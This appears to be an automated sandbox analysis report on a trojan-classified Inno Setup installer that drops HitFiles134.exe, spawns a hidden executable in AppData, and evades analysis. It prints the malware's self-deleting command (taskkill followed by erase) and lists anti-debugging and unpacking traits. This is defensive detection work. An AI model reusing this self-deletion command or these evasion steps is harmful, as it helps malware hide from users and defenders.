Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 00406A2C appears 39 times
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 00403400 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 00452618 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 00445650 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 0040785C appears 37 times
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 00408B74 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 00403494 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 004568CC appears 82 times
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 00445380 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 00456AD8 appears 59 times
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 00403684 appears 163 times
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 00433A88 appears 32 times
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: String function: 10003C50 appears 34 times
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: String function: 0040F9E0 appears 54 times

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0042F0EC NtdllDefWindowProc_A,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00423AF4 NtdllDefWindowProc_A,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0045614C PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00412548 NtdllDefWindowProc_A,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00476F38 NtdllDefWindowProc_A,

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Code function: 1_2_0042E708: CreateFileA,DeviceIoControl,GetLastError,CloseHandle,SetLastError,

Source: file.exe	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: file.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: file.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: file.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: file.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: file.tmp.0.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: is-S7F6P.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-S7F6P.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: is-S7F6P.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: is-S7F6P.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-S7F6P.tmp.1.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped

Source: file.exe, 00000000.00000003.248123024.00000000024D1000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs file.exe
Source: file.exe, 00000000.00000003.248334642.00000000023E5000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs file.exe

Source: Joe Sandbox View

Dropped File: C:\Program Files (x86)\Split Files\is-S7F6P.tmp C6D9AFBD0C6A415D38F71573FD9B214C927538F53896E0DA3FFE830A991D4485

Source: HitFiles134.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_SYSHEAP, IMAGE_SCN_MEM_PRELOAD, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: _RegDLL.tmp.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp "C:\Users\user~1\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp" /SL5="$702C6,1650404,162304,C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process created: C:\Program Files (x86)\Split Files\HitFiles134.exe "C:\Program Files (x86)\Split Files\HitFiles134.exe"
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Process created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\3JCCsnPwg.exe
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "HitFiles134.exe" /f & erase "C:\Program Files (x86)\Split Files\HitFiles134.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "HitFiles134.exe" /f
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp "C:\Users\user~1\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp" /SL5="$702C6,1650404,162304,C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process created: C:\Program Files (x86)\Split Files\HitFiles134.exe "C:\Program Files (x86)\Split Files\HitFiles134.exe"
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Process created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\3JCCsnPwg.exe
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "HitFiles134.exe" /f & erase "C:\Program Files (x86)\Split Files\HitFiles134.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "HitFiles134.exe" /f

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004093A8 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0045476C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "HitFiles134.exe")

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

File created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\is-OVJ5O.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@12/40@0/5

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Code function: 1_2_00454F94 GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Code function: 2_2_00402BF0 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Code function: 2_2_00405350 CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,FindCloseChangeNotification,

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2228:120:WilError_01

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00409B0C FindResourceA,SizeofResource,LoadResource,LockResource,

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

File created: C:\Program Files (x86)\Split Files

Jump to behavior

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Command line argument: `a}{
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Command line argument: MFE.
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Command line argument: ZK]Z
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Command line argument: ZK]Z

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1918587 > 1048576

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Unpacked PE file: 2.2.HitFiles134.exe.400000.1.unpack

Detected unpacking (changes PE section rights)

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Unpacked PE file: 2.2.HitFiles134.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R;.avh134:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Obfuscated command line found

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp "C:\Users\user~1\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp" /SL5="$702C6,1650404,162304,C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp "C:\Users\user~1\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp" /SL5="$702C6,1650404,162304,C:\Users\user\Desktop\file.exe"

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406518 push 00406555h; ret
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00408064 push ecx; mov dword ptr [esp], eax
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004040B5 push eax; ret
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404185 push 00404391h; ret
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404206 push 00404391h; ret
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C218 push eax; ret
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004042E8 push 00404391h; ret
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404283 push 00404391h; ret
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00408E98 push 00408ECBh; ret
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004098B4 push 004098F1h; ret
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004062CC push ecx; mov dword ptr [esp], eax
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004583E0 push 00458424h; ret
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00410640 push ecx; mov dword ptr [esp], edx
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0040A6C8 push esp; retf
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00412898 push 004128FBh; ret
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004429EC push ecx; mov dword ptr [esp], ecx
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00450ACC push 00450AFFh; ret
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00456B74 push 00456BACh; ret
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00492C14 push ecx; mov dword ptr [esp], ecx
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00450C90 push ecx; mov dword ptr [esp], eax
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0045EE34 push ecx; mov dword ptr [esp], ecx
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0040CF98 push ecx; mov dword ptr [esp], edx
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00483278 push ecx; mov dword ptr [esp], ecx
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0040546D push eax; ret
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0040F4F8 push ecx; mov dword ptr [esp], edx
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0040553D push 00405749h; ret
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004055BE push 00405749h; ret
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0040563B push 00405749h; ret
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004056A0 push 00405749h; ret
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_004311AD push esi; ret
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_0040F4BB push ecx; ret

Source: HitFiles134.exe.1.dr

Static PE information: section name: .avh134

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Code function: 1_2_0044AC04 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: initial sample

Static PE information: section name: .text entropy: 7.2418910532957375

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	File created: C:\Program Files (x86)\Split Files\is-S7F6P.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	File created: C:\Program Files (x86)\Split Files\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	File created: C:\Program Files (x86)\Split Files\HitFiles134.exe	Jump to dropped file
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	File created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\3JCCsnPwg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00423B7C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00423B7C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0042414C IsIconic,SetActiveWindow,SetFocus,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00424104 IsIconic,SetActiveWindow,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004182F4 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004227CC SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00417508 IsIconic,GetCapture,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004815E0 IsIconic,GetWindowLongA,ShowWindow,ShowWindow,

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Source: C:\Users\user\Desktop\file.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetSystemTime,DecisionNodes

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Split Files\is-S7F6P.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Split Files\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-CE3AQ.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Code function: __Init_thread_footer,GetUserNameA,GetUserNameA,__Init_thread_footer,GetUserNameA,__Init_thread_footer,GetUserNameA,GetForegroundWindow,GetWindowTextA,Sleep,Sleep,GetForegroundWindow,GetWindowTextA,

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00409A50 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004738D8 FindFirstFileA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00451D34 FindFirstFileA,GetLastError,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004960EC FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00462DD8 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00463254 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0046184C FindFirstFileA,FindNextFileA,FindClose,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00404490 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00423E2D FindFirstFileExW,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_1000959D FindFirstFileExW,

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\is-OVJ5O.tmp\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\

Source: HitFiles134.exe, 00000002.00000002.331832954.00000000017F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HitFiles134.exe, 00000002.00000002.331582151.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Code function: 2_2_0041336B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Code function: 2_2_00402BF0 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Code function: 2_2_00402F20 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_0044028F mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_0042041F mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_004429E7 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00417BAF mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_100091C7 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_10006CE1 mov eax, dword ptr fs:[00000030h]

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_0040F789 SetUnhandledExceptionFilter,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_0041336B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_0040F5F5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_0040EBD2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_10006180 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_100035DF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_10003AD4 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

Code function: 1_2_0047697C ShellExecuteEx,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "HitFiles134.exe" /f

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "HitFiles134.exe" /f & erase "C:\Program Files (x86)\Split Files\HitFiles134.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "HitFiles134.exe" /f

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp

